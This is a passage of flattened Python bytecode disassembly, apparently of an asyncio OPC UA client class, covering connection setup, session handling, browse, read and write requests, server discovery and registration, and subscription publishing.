object delete_references at 0x7fab820a1390, file "f.py", line 726> LOAD_CONST 'UaClient.delete_references' MAKE_FUNCTION STORE_NAME delete_references LOAD_CONST <code object delete_nodes at 0x7fab820a1810, file "f.py", line 736> LOAD_CONST 'UaClient.delete_nodes' MAKE_FUNCTION STORE_NAME delete_nodes LOAD_CONST <code object call at 0x7fab820a1540, file "f.py", line 746> LOAD_CONST 'UaClient.call' MAKE_FUNCTION STORE_NAME call LOAD_CONST <code object history_read at 0x7fab820a1930, file "f.py", line 755> LOAD_CONST 'UaClient.history_read' MAKE_FUNCTION STORE_NAME history_read LOAD_CONST <code object modify_monitored_items at 0x7fab820a1300, file "f.py", line 765> LOAD_CONST 'UaClient.modify_monitored_items' MAKE_FUNCTION STORE_NAME modify_monitored_items LOAD_CONST <code object register_nodes at 0x7fab820a1780, file "f.py", line 775> LOAD_CONST 'UaClient.register_nodes' MAKE_FUNCTION STORE_NAME register_nodes LOAD_CONST <code object unregister_nodes at 0x7fab820a15d0, file "f.py", line 785> LOAD_CONST 'UaClient.unregister_nodes' MAKE_FUNCTION STORE_NAME unregister_nodes LOAD_CONST <code object read_attributes at 0x7fab820a18a0, file "f.py", line 794> LOAD_CONST 'UaClient.read_attributes' MAKE_FUNCTION STORE_NAME read_attributes LOAD_NAME ua LOAD_ATTR AttributeIds LOAD_ATTR Value BUILD_TUPLE LOAD_CONST <code object write_attributes at 0x7fab820a10c0, file "f.py", line 807> LOAD_CONST 'UaClient.write_attributes' MAKE_FUNCTION STORE_NAME write_attributes LOAD_NAME List LOAD_NAME ua LOAD_ATTR uatypes LOAD_ATTR StatusCode BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object set_monitoring_mode at 0x7fab820a1ed0, file "f.py", line 827> LOAD_CONST 'UaClient.set_monitoring_mode' MAKE_FUNCTION STORE_NAME set_monitoring_mode LOAD_NAME List LOAD_NAME ua LOAD_ATTR uatypes LOAD_ATTR StatusCode BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object set_publishing_mode at 0x7fab820a1ae0, file "f.py", line 840> LOAD_CONST 'UaClient.set_publishing_mode' MAKE_FUNCTION STORE_NAME set_publishing_mode LOAD_NAME ua LOAD_ATTR TransferSubscriptionsParameters LOAD_NAME List LOAD_NAME ua LOAD_ATTR TransferResult BINARY_SUBSCR LOAD_CONST ('params', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object transfer_subscriptions at 0x7fab820a1d20, file "f.py", line 853> LOAD_CONST 'UaClient.transfer_subscriptions' MAKE_FUNCTION STORE_NAME transfer_subscriptions LOAD_CONST None RETURN_VALUE LOAD_GLOBAL logging LOAD_METHOD getLogger LOAD_GLOBAL __name__ FORMAT_VALUE LOAD_CONST '.UaClient' BUILD_STRING CALL_METHOD LOAD_FAST self STORE_ATTR logger BUILD_MAP LOAD_FAST self STORE_ATTR _subscription_callbacks LOAD_FAST timeout LOAD_FAST self STORE_ATTR _timeout LOAD_GLOBAL ua LOAD_METHOD SecurityPolicy CALL_METHOD LOAD_FAST self STORE_ATTR security_policy LOAD_CONST None LOAD_FAST self STORE_ATTR protocol LOAD_CONST None LOAD_FAST self STORE_ATTR _publish_task LOAD_CONST None LOAD_FAST self STORE_ATTR _pre_request_hook LOAD_CONST False LOAD_FAST self STORE_ATTR _closing LOAD_CONST None RETURN_VALUE LOAD_FAST policy LOAD_FAST self STORE_ATTR security_policy LOAD_CONST None RETURN_VALUE LOAD_GLOBAL UASocketProtocol LOAD_FAST self LOAD_ATTR _timeout LOAD_FAST self LOAD_ATTR security_policy LOAD_CONST ('security_policy',) CALL_FUNCTION LOAD_FAST self STORE_ATTR protocol LOAD_FAST self LOAD_ATTR _pre_request_hook LOAD_FAST self LOAD_ATTR protocol STORE_ATTR pre_request_hook LOAD_FAST self LOAD_ATTR protocol RETURN_VALUE LOAD_FAST self LOAD_ATTR _pre_request_hook RETURN_VALUE LOAD_FAST hook LOAD_FAST self STORE_ATTR _pre_request_hook LOAD_FAST self LOAD_ATTR protocol POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _pre_request_hook LOAD_FAST self LOAD_ATTR protocol STORE_ATTR pre_request_hook LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'opening connection' CALL_METHOD POP_TOP LOAD_CONST False LOAD_FAST self STORE_ATTR _closing LOAD_GLOBAL asyncio LOAD_METHOD wait_for LOAD_GLOBAL asyncio LOAD_METHOD get_running_loop CALL_METHOD LOAD_METHOD create_connection LOAD_FAST self LOAD_ATTR _make_protocol LOAD_FAST host LOAD_FAST port CALL_METHOD LOAD_FAST self LOAD_ATTR _timeout CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR protocol POP_JUMP_IF_TRUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR protocol POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR protocol LOAD_ATTR state LOAD_GLOBAL UASocketProtocol LOAD_ATTR CLOSED COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD warning LOAD_CONST 'disconnect_socket was called but connection is closed' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD disconnect_socket CALL_METHOD POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR protocol LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_hello LOAD_FAST url LOAD_FAST max_messagesize LOAD_FAST max_chunkcount CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD open_secure_channel LOAD_FAST params CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM RETURN_VALUE LOAD_FAST self LOAD_ATTR protocol POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR protocol LOAD_ATTR state LOAD_GLOBAL UASocketProtocol LOAD_ATTR CLOSED COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD warning LOAD_CONST 'close_secure_channel was called but connection is closed' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD close_secure_channel CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'create_session' CALL_METHOD POP_TOP LOAD_CONST False LOAD_FAST self STORE_ATTR _closing LOAD_CONST False LOAD_FAST self LOAD_ATTR protocol STORE_ATTR closed LOAD_GLOBAL ua LOAD_METHOD CreateSessionRequest CALL_METHOD STORE_FAST request LOAD_FAST parameters LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR CreateSessionResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Parameters LOAD_ATTR AuthenticationToken LOAD_FAST self LOAD_ATTR protocol STORE_ATTR authentication_token LOAD_FAST response LOAD_ATTR Parameters RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'activate_session' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD ActivateSessionRequest CALL_METHOD STORE_FAST request LOAD_FAST parameters LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR ActivateSessionResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Parameters RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'close_session' CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR protocol POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD warning LOAD_CONST "close_session but connection wasn't established" CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST True LOAD_FAST self LOAD_ATTR protocol STORE_ATTR closed LOAD_CONST True LOAD_FAST self STORE_ATTR _closing LOAD_FAST self LOAD_ATTR _publish_task POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _publish_task LOAD_METHOD done CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR _publish_task LOAD_METHOD cancel CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR protocol POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR protocol LOAD_ATTR state LOAD_GLOBAL UASocketProtocol LOAD_ATTR CLOSED COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD warning LOAD_CONST 'close_session was called but connection is closed' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ua LOAD_METHOD CloseSessionRequest CALL_METHOD STORE_FAST request LOAD_FAST delete_subscriptions LOAD_FAST request STORE_ATTR DeleteSubscriptions LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR CloseSessionResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response SETUP_EXCEPT to 172 LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 210 DUP_TOP LOAD_GLOBAL BadSessionClosed COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 210 DUP_TOP LOAD_GLOBAL BadUserAccessDenied COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 210 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'browse' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD BrowseRequest CALL_METHOD STORE_FAST request LOAD_FAST parameters LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR BrowseResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'browse next' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD BrowseNextRequest CALL_METHOD STORE_FAST request LOAD_FAST parameters LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR BrowseNextResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Parameters LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'read' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD ReadRequest CALL_METHOD STORE_FAST request LOAD_FAST parameters LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR ReadResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'write' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD WriteRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR WriteResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'get_endpoint' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD GetEndpointsRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR GetEndpointsResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Endpoints RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'find_servers' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD FindServersRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR FindServersResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Servers RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'find_servers_on_network' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD FindServersOnNetworkRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR FindServersOnNetworkResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Parameters RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'register_server' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD RegisterServerRequest CALL_METHOD STORE_FAST request LOAD_FAST registered_server LOAD_FAST request STORE_ATTR Server LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR RegisterServerResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'unregister_server' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD RegisterServerRequest CALL_METHOD STORE_FAST request LOAD_FAST registered_server LOAD_FAST request STORE_ATTR Server LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR RegisterServerResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'register_server2' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD RegisterServer2Request CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR RegisterServer2Response LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ConfigurationResults RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'unregister_server2' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD RegisterServer2Request CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR RegisterServer2Response LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ConfigurationResults RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'translate_browsepath_to_nodeid' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD TranslateBrowsePathsToNodeIdsRequest CALL_METHOD STORE_FAST request LOAD_FAST browse_paths LOAD_FAST request LOAD_ATTR Parameters STORE_ATTR BrowsePaths LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR TranslateBrowsePathsToNodeIdsResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'create_subscription' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD CreateSubscriptionRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR CreateSubscriptionResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST callback LOAD_FAST self LOAD_ATTR _subscription_callbacks LOAD_FAST response LOAD_ATTR Parameters LOAD_ATTR SubscriptionId STORE_SUBSCR LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'create_subscription success SubscriptionId %s' LOAD_FAST response LOAD_ATTR Parameters LOAD_ATTR SubscriptionId CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _publish_task POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _publish_task LOAD_METHOD done CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL asyncio LOAD_METHOD create_task LOAD_FAST self LOAD_METHOD _publish_loop CALL_METHOD CALL_METHOD LOAD_FAST self STORE_ATTR _publish_task LOAD_FAST response LOAD_ATTR Parameters RETURN_VALUE LOAD_GLOBAL ua LOAD_ATTR StatusChangeNotification LOAD_FAST status LOAD_CONST ('Status',) CALL_FUNCTION STORE_FAST status_message LOAD_GLOBAL ua LOAD_ATTR NotificationMessage LOAD_FAST status_message BUILD_LIST LOAD_CONST ('NotificationData',) CALL_FUNCTION STORE_FAST notification_message SETUP_LOOP to 136 LOAD_FAST self LOAD_ATTR _subscription_callbacks LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 134 UNPACK_SEQUENCE STORE_FAST subid STORE_FAST callback SETUP_EXCEPT to 100 LOAD_GLOBAL ua LOAD_ATTR PublishResult LOAD_FAST subid LOAD_FAST notification_message LOAD_CONST ('NotificationMessage_',) CALL_FUNCTION STORE_FAST parameters LOAD_GLOBAL asyncio LOAD_METHOD iscoroutinefunction LOAD_FAST callback CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST callback LOAD_FAST parameters CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP JUMP_FORWARD to 96 LOAD_FAST callback LOAD_FAST parameters CALL_FUNCTION POP_TOP POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self LOAD_ATTR logger LOAD_METHOD exception LOAD_CONST 'Exception while calling user callback: %s' CALL_METHOD POP_TOP POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ua LOAD_METHOD ModifySubscriptionRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR ModifySubscriptionResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'update_subscription success SubscriptionId %s' LOAD_FAST params LOAD_ATTR SubscriptionId CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Parameters RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'delete_subscriptions %r' LOAD_FAST subscription_ids CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD DeleteSubscriptionsRequest CALL_METHOD STORE_FAST request LOAD_FAST subscription_ids LOAD_FAST request LOAD_ATTR Parameters STORE_ATTR SubscriptionIds LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR DeleteSubscriptionsResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'remove subscription callbacks for %r' LOAD_FAST subscription_ids CALL_METHOD POP_TOP SETUP_LOOP to 112 LOAD_FAST subscription_ids GET_ITER FOR_ITER to 110 STORE_FAST sid LOAD_FAST self LOAD_ATTR _subscription_callbacks LOAD_METHOD pop LOAD_FAST sid CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'publish %r' LOAD_FAST acks CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD PublishRequest CALL_METHOD STORE_FAST request LOAD_FAST acks POP_JUMP_IF_FALSE LOAD_FAST acks JUMP_FORWARD to 32 BUILD_LIST LOAD_FAST request LOAD_ATTR Parameters STORE_ATTR SubscriptionAcknowledgements LOAD_FAST self LOAD_ATTR protocol LOAD_ATTR send_request LOAD_FAST request LOAD_CONST 0 LOAD_CONST ('timeout',) CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD check_answer LOAD_FAST data LOAD_CONST 'while waiting for publish response' CALL_METHOD POP_TOP SETUP_EXCEPT to 92 LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR PublishResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response POP_BLOCK JUMP_FORWARD to 144 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST ex POP_TOP SETUP_FINALLY to 130 LOAD_FAST self LOAD_ATTR logger LOAD_METHOD exception LOAD_CONST 'Error parsing notification from server' CALL_METHOD POP_TOP LOAD_GLOBAL UaStructParsingError LOAD_FAST ex RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST ex DELETE_FAST ex END_FINALLY POP_EXCEPT JUMP_FORWARD to 144 END_FINALLY LOAD_FAST response RETURN_VALUE LOAD_CONST None STORE_FAST ack EXTENDED_ARG SETUP_LOOP to 328 LOAD_FAST self LOAD_ATTR _closing EXTENDED_ARG POP_JUMP_IF_TRUE SETUP_EXCEPT to 48 LOAD_FAST self LOAD_METHOD publish LOAD_FAST ack POP_JUMP_IF_FALSE LOAD_FAST ack BUILD_LIST JUMP_FORWARD to 34 BUILD_LIST CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST response POP_BLOCK JUMP_FORWARD to 128 DUP_TOP LOAD_GLOBAL BadTimeout COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST None STORE_FAST ack CONTINUE_LOOP POP_EXCEPT JUMP_FORWARD to 128 DUP_TOP LOAD_GLOBAL BadNoSubscription COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST "BadNoSubscription received, ignoring because it's probably valid." CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE DUP_TOP LOAD_GLOBAL UaStructParsingError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST None 